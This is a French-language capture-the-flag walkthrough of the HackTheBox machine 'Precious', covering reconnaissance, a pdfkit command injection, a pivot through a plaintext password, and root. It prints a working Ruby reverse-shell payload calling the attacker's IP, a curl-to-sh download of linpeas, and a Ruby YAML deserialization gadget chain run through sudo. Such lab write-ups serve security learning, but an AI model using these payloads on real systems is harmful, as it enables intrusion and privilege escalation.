HackTheBox Walkthrough - Precious

  • Machine ciblée : Precious.

  • Répertoire : /home/kali/Precious

  • Temps passé dessus : 1h30

  • Terminé 165e

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Precious"
repository="/home/kali/$name"
ip="10.129.96.44"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-26 16:56 EST
Nmap scan report for Precious (10.129.96.44)
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-26 16:57 EST

Donc on a un site web et du ssh. Let’s gow !

┌──(kali㉿kali)-[~/Precious]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name --exclude-length 145
┌──(kali㉿kali)-[~/Precious]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host:FUZZ.$domain" --hl 7 http://$name.$domain
┌──(kali㉿kali)-[~/Precious]
└─$ searchsploit nginx
-------------------------------------------------------------- -------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- -------------------------
Nginx (Debian Based) - 'logrotate' Local Privilege Escalation | linux/local/40768.sh
PHP-FPM + Nginx - Remote Code Execution                       | php/webapps/47553.md
-------------------------------------------------------------- -------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/Precious]
└─$ searchsploit Phusion Passenger
Exploits: No Results
Shellcodes: No Results

Phase 2 : Analyse

Bon, ça commence bien, j’ai pas max de piste … Il y a de la verification sur l’url, si ca commence pas par http, ca foire. Si c’est un vrai site, ca timeout … Le logiciel est meme pas fonctionnel, t’es oblige de lui mettre de la m*rde après pour le faire buger et obtenir un pdf. Bref, j’aime les « easy » … Quoi qu’il en soit, quand t’as ton pdf, tu remarques que c’est fait avec pdfkit v0.8.6. Petite recherche google, une rce. Je suis sûr que c’est ça le chemin d’attaque, mais impossible à le faire marcher pour l’instant … Bien relou.

Phase 3 : User

Après une bonne dose de try&retry(&rage), j’ai réussi à prouver la RCE à l’aide d’un ping.
Le ping !
Ok donc en faite, j’ai pas pigée exactement pourquoi, mais il fallait mettre un paramètre à la suite. Ou alors il fallait encoder un espace en %20. Bref, voici le code :

http://lo/?name=#{'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.171",3333))'`'}

et l’on le voit côté shell :

┌──(kali㉿kali)-[~/Precious]
└─$ while 1=1; do rlwrap -cAr nc -lvp 3333; done
listening on [any] 3333 ...
ls

listening on [any] 3333 ...
connect to [10.10.14.171] from Precious [10.129.96.44] 48242
listening on [any] 3333 ...
connect to [10.10.14.171] from Precious [10.129.96.44] 48242
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

ls -lAR /home
/home:
total 8
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 henry
drwxr-xr-x 4 ruby  ruby  4096 Nov 26 16:58 ruby

/home/henry:
total 16
lrwxrwxrwx 1 root  root     9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26 04:40 .profile
-rw-r----- 1 henry henry   33 Nov 26 16:17 user.txt

Serieux, faut que je deviennes Henry pour avoir le flag user ? C’est une blague ? Easy ??
Bon, on va se rajouter une cle ssh.

Phase 4 : Le pivot

┌──(kali㉿kali)-[~/Precious]
└─$  ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null && cat ./id_ecdsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABStMjZRDYs9OE1DCcJMevfhyg/HWYH63JgvaP9375u

## Sur le serveur distant :
mkdir /home/ruby/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABStMjZRDYs9OE1DCcJMevfhyg/HWYH63JgvaP9375u' > ./.ssh/authorized_keys
chmod 600 ./authorized_keys
┌──(kali㉿kali)-[~/Precious]
└─$ cd ../Tools
┌──(kali㉿kali)-[~/Tools] #on prepare le linpeas
└─$     python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

┌──(kali㉿kali)-[~/Precious]
└─$ ssh -i id_ecdsa ruby@precious
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
ruby@precious:~$ curl http://10.10.14.171:8000/linpeas.sh |sh

Ce dernier ne m’a absolument rien appris. alors je me suis mis à fouiller les fichiers dans /tmp puis dans /home/ruby et je suis tombé sur un dossier .bundle

ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls -lA
total 4
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Serieux ?

┌──(kali㉿kali)-[~/precious]
└─$ ssh henry@precious
henry@precious's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$

Phase 5 : Elevation de privilege

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Ok donc l’objectif du script est plutôt simple : mettre à jour ses dépendances de ruby en fonction d’une liste. La liste de base se trouve dans /opt/sample mais ne nous est pas utile. Par contre, on voit que le code charge un YAML. Et si on avait moyen de faire un truc avec ça ? Demandons à google : ruby yaml exploit.

henry@precious:~$ vi dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "id"
         method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Merde, ça n’a pas marché. A moins que ça soit avant le message d’erreur ?!

henry@precious:~$ vi dependencies.yml
git_set: "cat /root/root.txt"

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
0e1ddff67640a716c8f3fff2a96b3d31

Rooted !

Récapitulatif

Bon, c’est ma première easy 100% seul, je suis fier, surtout que je ne la trouve pas facile et que j’ai mis moins de 2H30. Je la trouve difficilement applicable dans la vraie vie tant elle semble être une plateforme de mauvaise utilisation de ruby.
Il faudra quand même que je regarde un peu Ruby pour savoir à quoi sert le dossier .bundle où l’on trouve le mot de passe de henry.

A retenir

  • Toujours mettre à jour (encore, oui). C’est quand même à cause de ça que l’on a pu rentrer facilement.

  • Ne jamais mettre en clair ses mots de passe

  • Éviter autant que possible de laisser l’usage de root à un compte. Quand bien même dans la vrai vie, il serait difficile de ne pas faire ce qui a été fait, alors on va se contenter de réperer : Ne jamais mettre ses mots de passe en clair.